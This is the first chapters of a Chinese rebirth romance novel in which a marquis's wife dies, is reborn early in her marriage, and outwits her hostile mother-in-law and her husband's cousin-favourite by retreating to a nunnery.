《侯夫人重生后改嫁了》
1. 死有余辜
雪霁天晴,层云散去,如今的安阳正处在早春时节,乍暖还寒,最难将息。红日西坠,安阳城南的忠节侯府内早已一片静谧,鱼贯而行的奴仆轻手轻脚,唯恐发出一点异响扰主子清眠。
留云居里更是如此,为了让主子安眠,春寻将仆婢遣走,只余了伶仃几人在这伺候。被遣走的奴仆喜笑颜开,留下来的愁眉苦脸,无他,自去年九月起,留云居里的主子忠节侯府夫人崔云归便缠绵病榻,入冬以来更是染上了咳疾,日日留云居内都弥漫着一股中药味,看了多少郎中都不见好,府里的下人都说这是横死的花姨娘索命来了。
“春寻姐姐”
春寻前脚刚踏进留云居,后脚一个年岁尚小的小丫鬟就来了
“怎了?”
春寻今日一早便出门替崔云归办事去了,现今才回到府中。小丫鬟看了紧闭的房门,不由得放轻声音
“夫人今日一天米水未进”
“药也不曾喝?”
小丫鬟摇摇头,春寻皱起眉来,夫人从去年九月失了孩子后就一直靡靡不振,缠绵病榻近半年,身体每况愈下,近日竟开始不思茶饭,也不知该如何是好……
两人嘀嘀咕咕之间紧闭的房门吱呀一声响,崔云归披着一件大氅打开了门,春寻忙把脸上的忧色收好,笑意粲然的迎上去扶住崔云归的手臂
“夫人怎的出来了?外头天冷,夫人莫过了寒风,我扶你进去吧?”
许是为了应景,她刚说完就一阵寒风夹带着飘雪而来,崔云归捂着手帕弯腰剧烈的咳嗽起来,春寻手忙脚乱,想扶着崔云归进去却被崔云归拒绝,只能自去房里倒一杯温水,让崔云归压一压。
崔云归咳出了一身冷汗,直到将喉间堵着的那口气咳了出来,她才觉得好受了些,移开手帕,毫不意外的看见上面的一滩鲜血。
春寻见着那摊血就红了眼,眼见着是要哭了,崔云归及时接过她手里的茶水,将喉间的腥甜压了几分下去,感慨道
“下雪了”
春寻不愧是自小跟着她的,立马明白了她想干什么,无奈的招了小厮过来搬了椅子、火盆过来让崔云归坐着看雪。
方才遣去的小丫鬟端着温好的药过来
“夫人”
崔云归扫了一眼药,只当没看见,小丫鬟无措的求助春寻,春寻又是悄悄叹一大口气,接过药碗朝里屋使了个眼色,小丫鬟如蒙大赦,不多时从里屋里端来了哄崔云归喝药的蜜饯
“夫人,好歹把药喝了”
每日让崔云归喝药都要一场拉锯战,春寻已经做好了鏖战的准备,不料今日崔云归只是看了看她,见没有回转的余地便接过来一口闷了,中间没断。
这样喝的后果就是被苦的打寒战,崔云归忙捻了颗蜜饯含在嘴里,企图用蜜饯的甜掩盖药的苦。
等春寻拿了条毛毯盖在她的腿上,崔云归就缓过来了,她今日之所以喝药这么干脆,只是因为她心里记挂着正事
“水月庵里倩姐儿和焱哥儿的往生牌位可供上了?”
春寻掖了又掖,摆弄半天还是伸手给崔云归带上了帽兜
“二姑娘和三哥儿的往生牌位全照夫人说的办好了,夫人说的银钱也尽数给了水月庵的主持,特意叮嘱过了,四成留在庵里添香油钱,六成让主持酌情救济孤儿流民”
入冬以来,崔云归就开始左一件右一样的变卖自己的嫁妆,起初春寻还以为她是要做什么,不曾想变卖来的银钱今日尽数给了水月庵。
听到一双枉死的弟妹有了个归处崔云归心情明媚了几分,脸上也带上了笑意
“我死了,你也帮我去那求一块往生牌立着,与羡哥儿放在一起,好让我们母子黄泉相见”
魏卿羡,是崔云归那个未得的孩子。
提起他,春寻鼻头一酸,起初刚怀上时夫人也是不喜的,后面月份大了,夫人也慢慢感受到了孩子的存在,满心欢喜的做了许多小衣裳。去岁九月,夫人腹中的胎儿也六个月了,眼见着生产在即,那花姨娘就像一条疯狗闯到到留云居里来,找到夫人就开始说二姑娘和三哥的死讯和惨状。这样也就罢了,她还肆无忌惮的告诉夫人二姑娘和三哥的死就是她花倚翠一手做的。夫人平生最是爱护一双弟妹,即使在侯府上有婆母欺人、中有丈夫宠妾灭妻,下有恶奴欺主,但夫人依旧伏低做小,忍气吞声,为得就是用侯府夫人这个名头为弟妹博个好前程。如今一双弟妹皆惨死于花倚翠之手,夫人怎能看着杀人凶手在自己面前蹦跶,取了房里镇压邪祟的宝剑一剑送花姨娘归了西,之后夫人情绪过激,悲伤过度,一个成型了的男胎就这样流产了。
花倚翠她死有余辜!
“春寻,来”
崔云归从毛毯里伸出手唤回了春寻的思绪,春寻一秒回神,懊恼不已。应是她的表情太过狰狞,让崔云归读出了她心中所想。
“夫人”
崔云归从怀里掏出了一支玫瑰金簪,抬手想簪进春寻发中,却无奈手上力气欠缺,春寻忙跪下
“夫人不可!如此贵重之物怎可赠予我?”
崔云归只觉得眼皮好重,周身力气如同剥茧抽丝一般,一点点的从她身上剥离出去,她伸手够了几下,如愿的摸上了春寻的手
“这支金簪乃是外祖母添于我的陪嫁,如今我气数已尽又散尽家财,眼下实属没有什么好东西给你,这簪子权当留个念想吧”
她这一番话让春寻泪如雨下,崔云归感受到了泪水滴在了她的手背上,但她太累了,她抬不起手去擦掉她的眼泪,只能断断续续的交代后事
“前几日……我将竹溪的明幽山庄过到了你的名下,我死后你便回竹溪去,招一个称心的夫郎上门……好好过日子”
春寻泣不成声,崔云归眼皮沉重,欲闭还睁之间她仿佛看到了故去的母亲、弟、妹,她欣喜若狂,抓着春寻的手青筋凸起
“春寻姐姐,母亲!我看到母亲了……”
“夫人!”
春寻跪地,头重重的磕在地上,许久不曾抬起来。
广和九年,忠节侯夫人魏崔氏殁于初春。其后三年,忠节侯魏麟思念成疾随妻而去,弟魏政承爵,又二年,大雪,政于府啖牛肉白酒,一夕而卒,忠节侯府树倒猢狲散,人走茶凉。
“大奶奶,大奶奶!”
崔云归颦蹙,翻个身想要逃离这恼人的声音。将将翻到了一半,她蓦地睁开眼从塌上坐起来,不可置信的环顾左右,房内挂着红绸缎,这样的摆设既陌生又熟悉,她抬头,恰好瞧见了菱花镜中的自己,青丝如瀑,杏面桃腮,秀眸惺忪,她错愕的摸上了自己的脸
这是她年轻时候的长相!
“大奶奶”
崔云归莫名奇妙的举动引得春寻满腹疑问的绕到塌的另一边查看崔云归的情况,崔云归仰头打量了春寻几眼,一个奇异又荒唐的猜测呼之欲出。
眼前的春寻只有十七岁的光景,再根据这屋内的摆设稍加推测,崔云归觉得她好似是回到了她刚嫁给魏麟的时候。为了佐证猜想,崔云归直接向春寻确认
“春寻,现今几日几时?”
春寻去取先前为崔云归熨烫好衣服,隔空回着崔云归的话,手底的动作不停
“大奶奶莫不是睡昏了头?现在是广和一年……”
“不行,你不能进去!我们姑娘身体不适正在休息,王妈妈你这是干什么?!”
春寻的话没说完就被门外冬藏更大的声音盖过,崔云归坐回贵妃榻上拥被竖起耳朵听着外面的动静。
王妈妈带着几个粗
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壮的丫鬟婆子气势汹汹的站在门口,冬藏似母鸡护崽般张开双手拦在门口,有一种以一敌百的决心。
“冬藏姑娘,我是奉了夫人的命请大奶奶过去坐坐的,还请冬藏姑娘让让”
这是王妈妈的声音,紧接着崔云归便又听到了冬藏的声音
“王妈妈,这里是大爷和大奶奶的卧房,我方才便说了大奶奶在休息,你这样一通乱闯,可有把主子放在眼里?”
崔云归忍俊不禁,冬藏不愧是她三个丫鬟里最能言会道的人,炮语连珠把不敬主家的帽子戴在了王妈妈的头上。但王妈妈也不是吃素的,直接变了脸
“冬藏姑娘好厉害的嘴巴!不敬主家这么大的罪名我可担不起。倒是你,千般阻饶万般阻挡我去请夫人,难不成想给大奶奶留一个不敬婆母的错处?”
这王妈妈说话忒厉害,好在冬藏自小也是在崔家那虎狼窝里长大的,并不杵她,但崔云归也不能放由事态发酵下去,给春寻使了个眼神示意春寻出去制止这场闹剧。
要问崔云归现在是否知道自己回到了生前的那个阶段,那崔云归必然是不知道的,前世这样的事比比皆是。婆母看不上她商贾出生,便处处刁难,一点小事就要派王妈妈来请她去屋里伺候,明面上是和她这个新妇说体己话,实则每次都是让她去祠堂里跪着,对着魏家列祖列宗的牌位自省。
有了春寻的加入也无用,屋外冬藏和王妈妈你一言我一语吵得不可开交,大有一种要动手的意思,崔云归只得套了鞋袜亲自去外面打发这缠人的恶奴。
就在崔云归找到鞋袜往脚上套之时外面的争吵声骤停,而后就是春寻、冬藏、王妈妈等一众仆婢整齐的请安声
“大爷”
是魏麟。
魏麟大老远就听到了留云居中丫鬟婆子的争吵声,他一下便听出来了这是他母亲身边伺候的王妈妈与崔云归的陪嫁丫头冬藏的声音,但不知为何,他一来,原本争吵中的两人又都默契的缄默不语。
“大奶奶呢?”
“大奶奶伺候夫人用过午食后回来后身体不适,方才躺下没多久,王妈妈便不问青红皂白地要闯进门去”
冬藏行了一礼,先发制人。王妈妈又岂甘落后,还不待魏麟说话,立马也行了一礼
“大爷明鉴,这是夫人让我来请大奶奶过去坐坐,谈谈府中事物”
王妈妈说着觑了魏麟一眼,见主子的命令并没有让魏麟有反应,遂又补道:
“说是大奶奶御下不严,今日表姑娘在后园散步消食,让大奶奶贴身伺候的丫鬟秋收给冲撞到了”
忠节侯府谁人不知谁人不晓表姑娘才是魏家大郎心尖尖上的人,那是含在嘴里怕化了,捧在手上怕摔了,真真是疼到眼珠子上了。
一个不受宠大奶奶的婢女惊扰了表姑娘,王妈妈静等着魏麟进去将崔云归揪出来压到敬雪堂中去。
很显然,在场的众人都是这般想的,春寻已然是做好了请罪的准备,只要魏麟有冲进去的举动她就拦在前面,好歹先进去伺候崔云归梳洗整齐,不至于太辱没自家姑娘的颜面。
“倚翠可有事?”
果然,魏麟听到表妹被冲撞到了马上询问其状况,那紧张的模样让冬藏看了气的牙痒痒,王妈妈暗自得意,胜券在握
“大爷放心,表姑娘只扭了脚,已请郎中来瞧过,并无大碍”
“倚翠无大碍,大奶奶却是抱恙,这会子正在歇息,你去回了母亲就说晚些时候我会同大奶奶一道过去看母亲”
出乎所有人的预料,魏麟竟然维护起了崔云归,王妈妈面容错愕,似乎不相信自己的耳朵,魏麟却是不管她了,掀开厚重的门帘进到屋内。
冬藏得意的扬起脖子,扯着春寻跟在魏麟身后进门伺候去了。
2. 恩爱眷侣
屋外雪似柳絮纷飞,屋内暖香沁碧,魏麟在屏风前停下,影绰间一抹纤细的背影背对着他而坐,乌发似一段上好的黑绸散在脑后。
春寻小跑着过去伺候崔云归上妆,冬藏也过去给崔云归梳头,只是她不常做梳头这样的活计,又长了双不巧的手,才梳没几下就扯下了崔云归三四根头发,惹得崔云归吃痛的嘶了声。
这一声呼痛落入魏麟的耳中,就像是一片羽毛,顺着耳道滑到了他的心里,并在他心里轻扫一下,他终是忍不住绕过屏风走了进去。
崔云归选了一对耳坠往耳洞里穿,一转眼就看见魏麟站在后面。前世的魏麟和花倚翠二人所作所为历历在目,现在崔云归是看魏麟一眼都嫌晦气,厌恶的把头撇过去来了个眼不见为净,但魏麟显然没有这方面的自觉,黏黏糊糊的靠过来,自后面揽住了崔云归的肩膀。
除去前世怀上孩子的那荒唐一晚,大致算来他们两个有长达三年的时间没有任何肢体接触,忽的这样一接触崔云归全身上下乃至头发丝都在抗拒,这样的不适感让崔云归忍不了一点,晃着肩膀把魏麟的手甩了下来
“娘子?”
魏麟拧眉不解,他们如今才成亲三个月,这段时间两人因为表妹花倚翠的生了许多嫌隙,两人现在虽不说是蜜里调油,但也称的上是琴瑟和鸣。
“母亲那还等着,去的晚了母亲该怪罪下来了”
崔云归不欲多言,也不想给魏麟什么好脸色,搬出来崔母这座大山好让魏麟就此住嘴。魏麟奇怪,但也只当崔云归这是不满于母亲偏袒花倚翠而耍小姐脾气,站在原地看了半天两个丫鬟给崔云归梳头,终是没再说话,唤了外面的丫鬟来给自己宽衣。
外面的风雪极大,魏麟一路走过来,袍角早已经被雪水浸湿,春寻和冬藏视线交汇了一瞬,春寻头未动,浅褐色的眸子瞥过魏麟,冬藏心领神会,从里间捧出套与崔云归身上花色相近款式相同的衣服伺候魏麟穿上。
这些衣服全是婚前崔家量好魏麟的尺寸量身定做的,衣服都是一式二套,看着就登对,硬生生让这对看上去不那么和谐的夫妻有点恩爱眷侣的意思。
厚重的门帘掀开,寒风灌进脖子里,崔云归瑟缩的退了一步,又紧了紧披风。安阳地处北方,比不得锦绣的竹溪,这边的雪厚重而豪放,那边的雪轻薄而婉约,纵使前世在这里待了八年崔云归依旧不能习惯这样冷冽的天气。
“娘子”
魏麟单举着左手,意图牵住崔云归的手,崔云归百般嫌恶,自然不会去牵魏麟的手,推开他的手阴阳怪气起来
“天寒地冻,大爷还是走自己的好,在外面让人瞧见了又道是妾商户之女,小家之气,嫁了侯府也改不了勾栏做派”
这些话崔云归一句都不曾杜撰,都是侯府里的人亲口所说且被崔云归亲耳听见的。侯府如今的管家人还是魏母,那么这些是谁的授意那自然不言而喻,魏麟悻悻然收回了手。他自是知道这些谣言的,也清楚这是谁的授意,只是他并不敢忤逆母亲,那便只能选择委屈自己的妻子。
一路上魏麟总有意无意搭话,倘若换成上一世的崔云归,心中纵使有气也不会让他面子上太难看,总归是会附和应承一两声的,但今时不同往日,崔云归只觉得魏麟分外聒噪,更是不想与他言语。
一路都得不到回应,魏麟作为官宦子弟的自尊心一下就上来了,他也收声不再说话,于是剩下的一路便只余下簌簌的风雪声,崔云归的心情也好了不少。
还未走近魏花氏居住的敬雪堂,大老远的崔云归便看见于漫天飘雪中有一个人跪在地上,十几年来的朝夕与共致使崔云归只凭借一个背影就认出了那人来。
是秋收。
“大爷,大奶奶”
崔云归停住脚步,魏花氏房里的苗妈妈皮笑肉不笑的盯着她,做好了只要崔云归让秋收起来就制止她的准备。
崔云归向后伸手接过了冬藏为她打的伞,给秋收撑起了一片天地,与伞一道落在秋收身上的还有带着沁香体温的大氅。
主仆之间没有一句交流,却让人看到了别样的情义。
伞和大氅都给了秋收,崔云归就只身暴露在风雪中,魏麟有些吃味,便开始刻意挤兑崔云归
“你们倒是主仆情深”
“……”崔云归并不搭理他,魏麟也认清了今日崔云归确实不想理他的事实,挤兑完之后识趣的闭上了嘴。
跨过门阶一路直行到主堂,里面一老一少的谈笑声清晰可听,老的是魏花氏,少的那个正是花倚翠。崔云归听着这两道声音头风就要犯了,毕竟按照上辈子的经验来说,只要这两人凑到一起,十有八九就是在给她找不痛快。
小厮把门帘掀开,魏麟领着崔云归进门。
屋里地龙烧的正旺,魏麟没走几步便出了一层薄汗,他脱下大氅递给魏母院里的女使,露出和崔云归身上一样的绣有鸳鸯暗纹的衣袍来,魏麟看了看崔云归,又瞧了瞧自己身上的衣袍,心里舒坦了不少,携着崔云归一前一后的进了里屋
房内的嬉笑声在魏母看到崔云归的一瞬间戛然而止,崔云归恍如未察,压下眼底的情绪温顺与魏麟一同请安
“母亲万福”
魏母呷了口茶,慈爱的对着魏麟道
“你既公务繁忙就不必日日来我这请安”
“孩儿身在府中便定然是每日都要来向父亲母亲请安的”
魏麟笑着答道,虚扶着崔云归就要落座,魏母却突然变了脸色
“大郎媳妇怎的还有脸面坐下?”
她怎么就没有脸面?老妖婆都有脸刁难她,她为什么没有脸面坐下。
多一事不如少一事,崔云归一边在心里如是告诫自己一边强压情绪,垂眉敛目:“媳妇愚钝”
魏母上下扫视了崔云归一番,冷哼一声,对崔云归的穿着打扮表达了强烈的不满:“若你能少花些心思在穿着打扮上,多花些心思在府中事物上,今日你房中那不长眼的丫头也不至于冲撞到了翠姐儿”
一边说着魏母一边拉过花倚翠的手,宝贝疙瘩般的轻拍着。魏麟闻言望过去,花倚翠眼角的余光撇到了魏麟,装作不经
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意间的露出腕上的一片淤青,盈盈可怜的侧首对魏麟展颜一笑
“麟哥哥,我不碍事,不过就是和嫂嫂房中的丫鬟相撞了下,想来那丫鬟不过是自由惯了这才……”
她目光扫过孤身一人站着的崔云归,正巧这时崔云归漫不经心的抬起了眼眸,四目相对之间花倚翠蓦的停下了,那种来自灵魂深处的害怕让她的脸唰的白了几分,暗自用力拧了一把自己的大腿才又善解人意道
“这不关嫂嫂的事,还请麟哥哥与姑母莫要责怪嫂嫂”
魏母顺着花倚翠接腔:“以前怎样我都不管,但现在既入了我忠节侯府就要遵我侯府的规矩”
这样的话崔云归没有听一百也听了有八十,魏母能说的不过也只有这两句,无非就是明嘲暗讽她商贾出生不懂大家规矩。
崔云归面不改色的立着看两个人一唱一和演双簧,心里满腹疑虑,花倚翠在怕她?可她分明记得,花倚翠仗着魏母的势可谓是胆大的很,次次来她院里挑衅,秋收今日被扣在这里就是最好的证明,而现在,花倚翠居然在怕她?由己度人,一个大胆的猜测在她脑海里浮现,难不成老天觉得花倚翠罪不至死,这才让她也回来了?
难道是她前世做的太过火,老天看不下去了?
崔云归开始反思,思来想去还是认为她这是情理之中,若有重来一次的机会,她必然还会一剑捅了花倚翠。前世她怀胎五月,花倚翠强闯进她的院子给她说了焱哥儿与倩姐儿的死讯和死状。
焱哥儿满身溃烂死于过度服用五石散,倩姐儿遭贼人掳走清白尽毁,被父亲用一条白绫勒死。不仅如此,花倚翠还沾沾自喜的同她表明焱哥儿服寒食散是她遣人设计,掳走倩姐儿的山贼也是她安排的。崔云归捏着鼻子不跟魏麟和离全是为着这层身份可以给一双弟妹谋个更好的前程,现在教花倚翠害的如此下场,这叫崔云归如何不恨,当即就抽出房内的佩剑一剑了结了花倚翠。
那佩剑还是魏麟的,当初她刚有孕,夜里总睡不安稳,这件事不知怎么就传到了魏麟耳朵里,花倚翠明里暗里说孩子是邪祟,魏麟也许会错了意,认为是屋里有邪祟,于是就遣人送来了他的佩剑压一压。
而方才无意之间和花倚翠对视的那一眼,她眼中的畏惧分明是前世死之前未消散的。
魏母喝了口茶,润了润唇,继续说教
“以往你在崔家如何我自管不上,但如今你既嫁了麟儿,就当时时守规矩,不得辱没我忠节侯府的颜面,更要事事以夫君为先,凡事把麟儿放在首位”
崔云归听到这精神瞬间为之一振,来了来了,前世也是这般时候魏母提出要魏麟娶花倚翠为姨娘。果然,只见魏母招手让魏麟去到旁边,而后左手握着花倚翠的手,右手牵着魏麟的手,开始对崔云归说他们两青梅竹马两小无猜的情意
“说出来也不怕你生气,麟儿与翠姐儿本是有指腹为婚的姻缘,只是前些年翠姐儿的爹娘故去,这桩亲事也就这样耽搁下了,这孩子我瞧着实在欢喜,又孤苦无依,不若就纳到麟儿房里,大郎媳妇以为如何?”
3. 孤苦无依
崔云归孤身一人站在三人的对立面,看看面若红霞满脸羞怯的花倚翠,又瞧瞧对此事无异议的魏麟,上前几步从魏母手里抢过花倚翠的手握在自己手中,强迫自己掉下几滴眼泪来,似是为他们之间的绝美爱情所感动到落泪
“想不到表妹竟还同官人有这样一段缘分!好妹妹,你受委屈了”
魏麟三人皆被崔云归这一操作打乱了阵脚,魏母一时之间都忘了隐藏表情,脸上惊喜交加
“这么说你也是应了?”
崔云归当即福了一礼
“媳妇恕难从命”
魏母马上跨下脸来,崔云归笑着挤开了魏麟,自己挤到魏母旁边的塌上坐下
“母亲有所不知,我昨夜晚上梦见一麒麟腾云驾雾,落地后竟化成了一个仙人,那仙人说官人乃座下小麒麟转世,此番下界是成就大事业来的,只是前些年时运低靡,才不得圣心,如今需四名四季不同又是节气出生的女子去真人菩萨面前为官人诵经抄书三个月,如此方能使官人拨开云雾见青天”
崔云归言辞凿凿,魏母整天把魏麟是天上的麒麟神君转世的事满府盛传,花倚翠到咽气之前还说着做鬼也不会放过她,这样迷信鬼神之说的两个人崔云归不愁她们不相信,果然,魏母立马狐疑的发问
“当真?”
崔云归瞟了眼若有所思的花倚翠,嘴角的笑一闪而过
“媳妇怎敢扯谎,只是那仙人也说了,此次光是诵经抄书是远不够的,还需官人遣欲澄心,戒荤腥、禁女色”
他们急着让花倚翠进门,她偏不如他们所愿,前世三个月之后魏麟就会接到外派竹溪查当地官员贪污腐败的案件,而那次,魏麟足足在竹溪待了一年。
听到“禁女色”三个字魏母和魏麟都皱起眉来,魏麟想同崔云归亲近,魏母大抵又是嫌崔云归粗鄙,毕竟在她的认知中屋内还有花倚翠这个待嫁女娘在这。
魏母疼爱花倚翠不假,但她终究不是自己身上掉下来的肉,在涉及到魏麟的利益问题上魏母可以将花倚翠抛之脑后。她不再提要纳花倚翠为妾的事,转而关心魏麟的仕途
“你说的那四名女子该去哪里寻?又该去哪里拜真人菩萨?”
这句话一出,那就是十乘十的相信了崔云归的那一派胡言,崔云归眼眸扫过春寻
“母亲不知,我是小满时节出生,我这三个丫鬟,春寻、秋收、冬藏分别是惊蛰、白露、小雪时节出生,我与这三个丫鬟恰好是仙人虽说的那四人,想必是天意如此。至于地方,媳妇一早便想好了,就北城郊的那座水月庵”
水月庵是安阳最负盛名的一座尼姑庵,崔云归前世去那边小住过几日,庵里绿树成荫,花繁草茂,是一个清幽的好去处。
魏母呷了口茶,似在考虑,魏麟急的鼻尖冒汗
“不可”
“麟儿?”魏母不明就里,魏麟坐在了方才院里的婢女搬到崔云归脚边的木凳上,喝了口热茶定了定心神
“现在天寒地冻,水月庵又在山上,娘子千金之躯,怎可去?”
“只要是为了官人好,妾再苦再累也是值得的”崔云归忍住恶寒,含情脉脉的上演了一出情深不寿的戏码。
她就知道这负心的男人薄情的郎不会轻易的遂她的意!
“……”
这下魏麟是实在无话可说了。
这件事也在这崔云归三言两语的胡诌中定了下来。魏母本是想借着崔云归御下不严的由头把花倚翠纳进门顺带收拾收拾她贴身的丫鬟,给崔云归找找不痛快。但现在崔云归为了魏麟自请去水月庵诵经抄书,魏母也不好再为难她,挥挥手让崔云归把秋收带走了。
目的达成,崔云归带着一众仆婢往留云居赶,魏麟像一块揭不开的狗皮膏药紧贴着崔云归,想与她说话。外面风雪交加,秋收也完好无损的带了回来,崔云归懒的和魏麟假装伉俪情深,埋头一顿疾走,不巧还被花倚翠追上来了
“嫂嫂”
崔云归装作听不见,两条腿走的更快了,哪知花倚翠拎着裙摆跑到了崔云归面前
“嫂嫂”
“……”崔云归瞪了一眼魏麟,愤然把袖子从魏麟手中抽了出来。
有一件事崔云归是怎样都想不明白,花倚翠到底有什么本领,让表了不知道多少辈的魏母把她当亲闺女疼以及她如何让古板的魏麟屡次越过她这个正妻给予优待。
一行人站立在拱桥上,花倚翠福了一礼
“嫂嫂走的好快”
“表妹有何事?”
崔云归也不同她虚与委蛇,花倚翠小心翼翼的试探
“嫂嫂可识得枝红”
魏麟面色微变,以一种难以言喻的表情看着花倚翠,崔云归眉梢一撩
“不识得,可又是府中哪个不长眼的丫鬟——冲撞到了表妹?”
她言语中反讽意味尽显,花倚翠放下戒备莞尔一笑
“嫂嫂真会说笑”
崔云归不置一词,笑意不达眼底,带着仆婢走了。重来一世,本想着花倚翠能学乖一点,不曾想半分长进没有,在不清楚对方底细的情况下率先揭开身份。
方才在魏母屋里对视的那一眼崔云归只是怀疑花倚翠回来了,现在她问出了枝红这个名字,崔云归就可以肯定花倚翠也重生了。
枝红全名万枝红,是前世魏麟的万姨娘,生的那是一个雪肤花貌,惹人怜爱。
肯定了花倚翠也是重生归来的人,崔云归愈发觉得这偌大的忠节侯府就是一个巨大的南曲班子,而他们就是上去唱戏的戏子,然而崔云归表示这出戏谁爱唱谁唱去,她恕不奉陪,于是她一到留云居就差人去和水月庵的主持说此事,打定主意第二天一早就住到水月庵去。
崔家世代经商,家底厚重,虽然家中消失的爹与伪善的后娘致使崔云归生活的如履薄冰,但不可否置,在吃穿用度方面,崔云归未曾受到过苛责,于是就养成了她堪称骄奢的生活习惯。
在有限的条件中,崔云归总会创造出无限的享受。
打定主意要去水月庵了,崔云归让春寻和冬藏着手去收拾被褥寝具等一应日常所需。
其急切的样子魏麟看在眼里急在心里,偏偏他一个大活人坐在那里,崔云归硬是没看他一眼,这让魏麟后知后觉发觉出不对来了
“娘子”
在崔云归再一次旁若无人的从他身边走过时,魏麟总归还是伸手拉住了崔云归的衣袖,扯着她站在原地。
崔云归此时正想起来水月庵没有烧地龙,她们去水月庵住需得带足碳火。
“作甚?”
衣袍自手中被抽走,魏麟握了握拳头
“母亲方才所言,当不得真,倚翠年幼失恃失怙,得母亲怜爱,才让倚翠委身我做妾,你若不愿意,我让母亲另为倚翠再寻一门亲事就是”
崔云归抻了抻袖子
“大爷这话好没意思,大爷与表姑娘年少情深,两情相悦,莫说是与大爷做妾,便是同我和离,大爷另娶她为妻那也是使得的”
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这些话听着确实咄咄逼人,但花倚翠年幼失恃失怙,她又何尝不是年幼失恃?
魏麟当她吃醋,探身出去拉崔云归的手,强压着不满道
“你我成婚不过一季,说什么另娶的话,我岂是那薄情寡义的负心郎?我只心疼你逞一时之快要去水月庵那凄清之地受苦”
心疼她?心疼她就不该是这样的作为,崔云归似笑非笑,一双黑白分明的眸子里带着毫不掩饰的嘲弄
“水月庵凄清算得上什么,大爷若真心疼我,便教母亲少叫我跪几次祠堂,让表姑娘少在我面前晃悠才是”
“既然你心意已决,那便自去吧”
魏麟蹙起眉头,眼神里闪过一丝烦躁,今日从见崔云归起她就没个好态度,一路上说话夹枪带棒,与她平日里乖顺的样子截然不同,他耐着性子哄了这么久,她竟丝毫不知收敛!
崔云归上辈子唯唯诺诺,做小伏低,最后落得个如此下场,老天让她重来一世,她可不想再窝囊虚伪的过一世,当然也打定主意不跟魏麟过,是以说话做事方面自然也就不顾忌魏麟的感受,该怎样便就怎么样。那边魏麟让她自去,这边崔云归真就掉头就走去吩咐带碳火的事去了。
第二日天才蒙蒙亮一对车门便从忠节侯府正门出发,一路往城郊山上的水月庵而去。
春寻掀了帘子往外张看,不一会便被冻的重新缩回马车里,她低头朝掌中哈了一口气,搓热了手后去拿崔云归暖手的汤婆子。
“大奶奶仔细眼睛”
崔云归斜歪在靠枕上,手上端着本书看的目不转睛,春寻担心马车摇晃会伤了眼睛,这才出言提醒。崔云归接过重新换了热汤的汤婆子捧在手上,放下了书。
冬藏一见崔云归放下了书便迫不及待的提着食盒过去献宝:“姑娘饿了吧?我这有梅花蜜渍糖糕,还热乎着”
“好冬藏,等明个到了年纪将你放出府去,你便在街口开间点心铺子,姑娘我天天遣人早早去排队”
崔云归转了转有些酸痛的颈脖,将书盖好递给秋收,随手从那食盒里捻了一块糖糕,一边吃一边打趣冬藏。春寻三人见崔云归动了,于是都捻着糖糕吃了起来。
她们自小情义深厚,私下相处便如同姐妹一般,这样吃着便闲聊了起来,秋收跟着打趣了冬藏几句,蓦的想起来一件事
“姑娘,府中的马奴怎的不是老李头?”
当初崔云归一介商户女嫁得魏麟这个忠节侯府大公子可谓是高嫁,崔家为了攀上忠节侯府给崔云归带了一笔不菲的嫁妆,简直是把一半的身家给崔云归带上了,就连仆婢佣人也陪嫁过去了数十人,大到贴身伺候的婢女,小到老李头这样的马奴,而这些人都是用来伺候崔云归的日常起居,其中秋收说的老李头就是专门负责喂养崔云归出行所需要的马匹。
府中喂养马匹的不是老李头?
崔云归前世当了五年的当家主母,整日里操持着全府大小事务,来来往往的婢女奴仆早已经记不清,何况现在还时隔了八年,纵使她记忆超群现在一时半会也想不起来八年前的事。
好在,她还有春寻这个得力干将
“大奶奶忘了?前些日子老李头暴毙而亡,大奶奶还赏了一笔银子给老李头在竹溪的老婆孩子,现在这人是府中的徐管事招来的”
春寻这么一说,崔云归脑子里隐约有这段记忆,秋收也是将事情告知一下崔云归,免得底下的人在崔云归眼皮子底下出了什么披露,到时候魏氏怪罪下来少不得又是一通祠堂罚跪。
4. 峰回路转
谈笑之间,一行人浩浩荡荡地来到灵秀山脚下,崔云归戴好帷帽由春寻扶着下了马车转身上了早已备好的抬轿。水月庵在半山腰,只有一条隐隐绰绰的石阶路上去,前来礼佛拜真人的人都会把马车停在山脚,而后徒步走上去,彰显自己对菩萨真人的诚心,但崔云归本就不是来拜真人菩萨的,所以她也不委屈自己去遭那老罪,坐着抬轿就到了水月庵,真就是一步阶梯也没爬。
“主持”
崔云归双手合十置于前胸,问了水月庵的主持安,领了厢房的钥匙后带着三个丫鬟就过去了。
水月庵年前在翻修,厢房里全堆满了杂物。崔云归等人住进来的时间又赶,庵里的师傅连夜挑挑拣收拾出了两间厢房来。一间接待外客的厢房,一间是靠近西厨的厢房,两间厢房相隔了一个院子。
与她们一起来的仆婢们在厢房里进进出出,师傅们只是把厢房的杂物抬了出去,这里面的灰尘一概没有清理。
里面忙起来热火朝天的,秋收心细,一来就去盯着房里,以防有些手脚不干净的趁着忙乱偷偷昧下主子的物件。
这次来的人手足够,不大一会,厢房里就变了个样,错金璃兽香炉里燃着月麟香,原先落了一层灰的贵妃榻被擦的锃亮后铺上了一层厚实的兔毛毛毯……若有不知情的人误入,定会怀疑这究竟是女子的闺房还是寺庙的厢房。
崔云归清闲,在他们收拾屋子的时候带着两个小丫鬟在庵里左转右转,走累了就找了个背风的地喝茶。中午还品尝了一番水月庵师傅做的斋饭,虽无荤腥,但胜在味道好。
昨夜睡得晚,今日又起的早,天还未黑崔云归就开始犯困。春寻往香炉里加了几勺月麟香,转过头来就见崔云归面容倦怠。她上前把崔云归摊在案上的书收了起来,边做这些边给还在剥炒栗子的冬藏使了个眼色,冬藏立马抹了嘴净了手跑去床榻上摸早一个时辰之前放在被子里面的汤婆子。
汤婆子里灌热水放在被子里把被窝烘的暖暖的,崔云归手脚四季都热不起来,冬日里的手脚更是如冰窟一般,所以春寻便想出了这个法子,先用汤婆子暖好被褥,崔云归睡下再灌两个长条的汤婆子放在身侧、脚边,这样一来,崔云归第二日起来被子里也是热的。
那两个长条的汤婆子还是春寻特意找的两张鹿皮缝制的,试用了多次确保不会漏水才出现在崔云归的床上。
冬藏小心翼翼的往汤婆子里灌热水,心里庆幸着还好没把这两个鹿皮汤婆子扔掉。
春寻把卸下的钗环放进妆柩里收好,崔云归握着木梳慢慢的梳着一缕头发,眼睛里已困出了泪花
“我睡下了你们也回去歇息吧,不必在这守着我,大冬夜的,冷的慌”
